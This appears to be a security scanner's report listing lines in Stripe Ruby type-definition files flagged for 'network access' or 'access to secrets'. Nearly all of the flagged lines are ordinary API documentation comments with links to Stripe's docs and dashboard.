# You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/account_external_account_service.rbi
- Network accessline 33
# details are not editable by design. # # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/a - Network accessline 34
# # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/api/accounts/object#account_object-controll - Network accessline 35
# You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/api/accounts/object#account_object-controller-req
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/account_login_link_service.rbi
- Network accessline 7
# Creates a login link for a connected account to access the Express Dashboard. # # You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected t - Network accessline 8
# # You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected to your platform. sig { - Network accessline 9
# You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected to your platform.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/account_service.rbi
- Network accessline 9
attr_reader :login_links attr_reader :persons # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users. - Network accessline 10
attr_reader :persons # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users. # To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/application - Network accessline 11
# With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users. - Network accessline 12
# To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/settings). - Network accessline 13
# # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when # creating the account. Connect Onboarding won't ask fo - Network accessline 14
# If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when - Network accessline 22
# With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage. - Network accessline 24
# Test-mode accounts can be deleted at any time. # # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe - Network accessline 25
# # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc - Network accessline 26
# Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht - Network accessline 27
# # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. sig { - Network accessline 28
# If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. - Network accessline 34
# Returns a list of accounts connected to your platform via [Connect](https://docs.stripe.com/docs/connect). If you're not a platform, the list is empty. - Network accessline 40
# With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious. - Network accessline 60
# Updates a [connected account](https://docs.stripe.com/connect/accounts) by setting the values of the parameters passed. Any parameters not provided are - Network accessline 61
# left unchanged. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 62
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is application, which includes Custom accounts, you can update any informatio - Network accessline 63
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 64
# is application, which includes Custom accounts, you can update any information on the account. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requir - Network accessline 65
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is stripe, which includes Standard and Express accounts, you can update all i - Network accessline 66
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 67
# is stripe, which includes Standard and Express accounts, you can update all information until you create # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connec - Network accessline 68
# an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connect onboarding, - Network accessline 69
# after which some properties can no longer be updated. # # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our - Network accessline 70
# # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts - Network accessline 71
# To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our - Network accessline 72
# [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/balance_service.rbi
- Network accessline 6
class BalanceService < StripeService # Retrieves the current account balance, based on the authentication that was used to make the request. # For a sample request, see [Accounting for negative balances](https://docs.stripe.com/doc - Network accessline 7
# Retrieves the current account balance, based on the authentication that was used to make the request. # For a sample request, see [Accounting for negative balances](https://docs.stripe.com/docs/connect/account-balances#accounting-for - Network accessline 8
# For a sample request, see [Accounting for negative balances](https://docs.stripe.com/docs/connect/account-balances#accounting-for-negative-balances).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/balance_settings_service.rbi
- Network accessline 6
class BalanceSettingsService < StripeService # Retrieves balance settings for a given connected account. # Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication) - Network accessline 7
# Retrieves balance settings for a given connected account. # Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication) sig { - Network accessline 8
# Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication) - Network accessline 14
# Updates balance settings for a given connected account. # Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication) - Network accessline 15
# Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/charge_service.rbi
- Network accessline 7
# Capture the payment of an existing, uncaptured charge that was created with the capture option set to false. # # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c - Network accessline 8
# # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. # - Network accessline 9
# Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. - Network accessline 10
# # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). sig { - Network accessline 11
# Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). - Network accessline 17
# This method is no longer recommended—use the [Payment Intents API](https://docs.stripe.com/docs/api/payment_intents) - Network accessline 37
# Search for charges you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/checkout/session_service.rbi
- Network accessline 35
# Updates a Checkout Session object. # # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates) - Network accessline 36
# # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates) sig { - Network accessline 37
# Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/coupon_service.rbi
- Network accessline 5
module Stripe class CouponService < StripeService # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you ne - Network accessline 6
class CouponService < StripeService # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create cou - Network accessline 7
# You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly. - Network accessline 15
# You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/credit_note_service.rbi
- Network accessline 51
# Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/customer_balance_transaction_service.rbi
- Network accessline 5
module Stripe class CustomerBalanceTransactionService < StripeService # Creates an immutable transaction that updates the customer's credit [balance](https://docs.stripe.com/docs/billing/customer/balance). - Network accessline 6
class CustomerBalanceTransactionService < StripeService # Creates an immutable transaction that updates the customer's credit [balance](https://docs.stripe.com/docs/billing/customer/balance). sig { - Network accessline 7
# Creates an immutable transaction that updates the customer's credit [balance](https://docs.stripe.com/docs/billing/customer/balance). - Network accessline 13
# Returns a list of transactions that updated the customer's [balances](https://docs.stripe.com/docs/billing/customer/balance). - Network accessline 19
# Retrieves a specific customer balance transaction that updated the customer's [balances](https://docs.stripe.com/docs/billing/customer/balance).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/customer_cash_balance_transaction_service.rbi
- Network accessline 5
module Stripe class CustomerCashBalanceTransactionService < StripeService # Returns a list of transactions that modified the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance). - Network accessline 6
class CustomerCashBalanceTransactionService < StripeService # Returns a list of transactions that modified the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance). sig { - Network accessline 7
# Returns a list of transactions that modified the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance). - Network accessline 13
# Retrieves a specific cash balance transaction, which updated the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/customer_payment_source_service.rbi
- Network accessline 9
# If the card's owner has no default card, then the new card will become the default. # However, if the owner already has a default, then it will not change. # To change the default, you should [update the customer](https://docs.str - Network accessline 10
# However, if the owner already has a default, then it will not change. # To change the default, you should [update the customer](https://docs.stripe.com/docs/api#update_customer) to have a new default_source. sig { - Network accessline 11
# To change the default, you should [update the customer](https://docs.stripe.com/docs/api#update_customer) to have a new default_source.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/customer_service.rbi
- Network accessline 44
# Search for customers you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/dispute_service.rbi
- Network accessline 27
# When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your [dashboard](https://dashboard.stripe.com/d - Network accessline 28
# # Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/ - Network accessline 29
# Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/catego
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/event_service.rbi
- Network accessline 5
module Stripe class EventService < StripeService # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events - Network accessline 6
class EventService < StripeService # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_ver - Network accessline 7
# List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not according to your c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/exchange_rate_service.rbi
- Network accessline 5
module Stripe class ExchangeRateService < StripeService # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. - Network accessline 6
class ExchangeRateService < StripeService # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. # - Network accessline 7
# [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. - Network accessline 15
# [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/file_service.rbi
- Network accessline 21
# Retrieves the details of an existing file object. After you supply a unique file ID, Stripe returns the corresponding file object. Learn how to [access file contents](https://docs.stripe.com/docs/file-upload#download-file-contents).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/financial_connections/session_service.rbi
- Access to secretsline 8
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/identity/verification_session_service.rbi
- Network accessline 6
module Identity class VerificationSessionService < StripeService # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). - Network accessline 7
class VerificationSessionService < StripeService # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). # - Network accessline 8
# A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). - Network accessline 9
# # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). sig { - Network accessline 10
# Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). - Access to secretsline 18
[Credential-related source omitted] - Network accessline 20
# If your API key is in test mode, verification checks won't actually process, though everything else will occur as if in live mode. # # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identit - Network accessline 21
# # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents) sig { - Network accessline 22
# Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents) - Network accessline 37
# # A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 38
# A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action # state will automat - Network accessline 39
# [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 50
# used for any purpose. # # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Network accessline 51
# # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). sig { - Network accessline 52
# [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Access to secretsline 61
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/invoice_service.rbi
- Network accessline 21
# credited to the invoice immediately. # # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 22
# # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. sig { - Network accessline 23
# See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 29
# This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you [finalize the invoice, which allows you to [pay](#pay_invoice) or <a href="#send_invoice">send](https://docs.stripe.com/api#finalize_invoice - Network accessline 41
# Note that when you are viewing an upcoming invoice, you are simply viewing a preview – the invoice has not yet been created. As such, the upcoming invoice will not show up in invoice listing calls, and you cannot use the API to pay or edi - Network accessline 42
# # Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions) - Network accessline 43
# Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions) - Network accessline 49
# Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided]( - Network accessline 73
# Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att - Network accessline 91
# Search for invoices you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language). - Network accessline 100
# Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal - Network accessline 108
# Draft invoices are fully editable. Once an invoice is [finalized](https://docs.stripe.com/docs/billing/invoices/workflow#finalized), - Network accessline 110
# # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) i - Network accessline 111
# If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoice - Network accessline 112
# sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoices, pass - Network accessline 125
# Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c - Network accessline 126
# # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">cre - Network accessline 127
# Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/issuing/authorization_service.rbi
- Network accessline 6
module Issuing class AuthorizationService < StripeService # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.c - Network accessline 7
class AuthorizationService < StripeService # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/con - Network accessline 8
# [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 9
# This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling). - Network accessline 15
# [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 16
# This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/issuing/dispute_service.rbi
- Network accessline 6
module Issuing class DisputeService < StripeService # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present - Network accessline 7
class DisputeService < StripeService # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. - Network accessline 8
# Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute reasons and evidence](htt - Network accessline 26
# Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/payment_intent_service.rbi
- Network accessline 14
# You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing. - Network accessline 16
# After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re - Network accessline 17
# # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. sig { - Network accessline 18
# You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. - Network accessline 26
# Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation. # # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 27
# # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). sig { - Network accessline 28
# Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 45
# # If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 46
# If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) # and the PaymentIntent's [client_secret](https://docs.stripe - Network accessline 47
# using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 48
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Network accessline 69
# Creates a PaymentIntent object. # # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 70
# # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) # to continue the payment. Learn more about <a href="/docs/payments/payment-intents">the availab - Network accessline 71
# After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 75
# When you use confirm=true during creation, it's equivalent to creating # and confirming the PaymentIntent in the same call. You can use any parameters # available in the [confirm API](https://docs.stripe.com/docs/api/payment_inten - Network accessline 76
# and confirming the PaymentIntent in the same call. You can use any parameters # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply # confirm=true. - Network accessline 77
# available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply - Network accessline 84
# Perform an incremental authorization on an eligible # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 85
# [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 86
# PaymentIntent's status must be requires_capture and # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) # m - Network accessline 87
# [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) - Network accessline 96
# If the incremental authorization succeeds, the PaymentIntent object # returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 97
# returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). # If the incremental authorization fails, a - Network accessline 98
# [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 99
# If the incremental authorization fails, a # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other # fields on the PaymentIntent or Charge update. The PaymentIntent - Network accessline 100
# [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other - Network accessline 105
# After it's captured, a PaymentIntent can no longer be incremented. # # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 106
# # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). sig { - Network accessline 107
# Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 121
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Network accessline 122
# # If you retrieve a PaymentIntent with a publishable key, it only returns a subset of properties. Refer to the [payment intent](https://docs.stripe.com/api#payment_intent_object) object reference for more details. sig { - Network accessline 123
# If you retrieve a PaymentIntent with a publishable key, it only returns a subset of properties. Refer to the [payment intent](https://docs.stripe.com/api#payment_intent_object) object reference for more details. - Network accessline 129
# Search for PaymentIntents you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language). - Network accessline 142
# always requires you to confirm the PaymentIntent again. If you prefer to # update and confirm at the same time, we recommend updating properties through # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 143
# update and confirm at the same time, we recommend updating properties through # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead. sig { - Network accessline 144
# the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/payment_method_domain_service.rbi
- Network accessline 34
# To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint. # # Related guides: [Payme - Network accessline 35
# # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration). sig { - Network accessline 36
# Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/payment_method_service.rbi
- Network accessline 7
# Attaches a PaymentMethod object to a Customer. # # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 8
# # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap - Network accessline 9
# To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 10
# or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage). - Network accessline 12
# endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for # future use, which makes later declines and payment friction more likely. # See [Optimizing cards for fut - Network accessline 13
# future use, which makes later declines and payment friction more likely. # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up # futu - Network accessline 14
# See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up - Network accessline 16
# # To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me - Network accessline 17
# To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 18
# set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 25
# Creates a PaymentMethod object. Read the [Stripe.js reference](https://docs.stripe.com/docs/stripe-js/reference#stripe-create-payment-method) to learn how to create PaymentMethods via Stripe.js. - Network accessline 26
# # Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-paym - Network accessline 27
# Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-payment) A - Network accessline 45
# Retrieves a PaymentMethod object attached to the StripeAccount. To retrieve a payment method attached to a Customer, you should use [Retrieve a Customer's PaymentMethods](https://docs.stripe.com/docs/api/payment_methods/customer)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/payout_service.rbi
- Network accessline 13
# To send funds to your own bank account, create a new payout object. Your [Stripe balance](https://docs.stripe.com/api#balance) must cover the payout amount. If it doesn't, you receive an “Insufficient Funds” error. - Network accessline 15
# If your API key is in test mode, money won't actually be sent, though every other action occurs as if you're in live mode. # # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to - Network accessline 16
# # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) deta - Network accessline 17
# If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) details av
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/plan_service.rbi
- Network accessline 5
module Stripe class PlanService < StripeService # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migrati - Network accessline 6
class PlanService < StripeService # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration. sig { - Network accessline 7
# You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/price_service.rbi
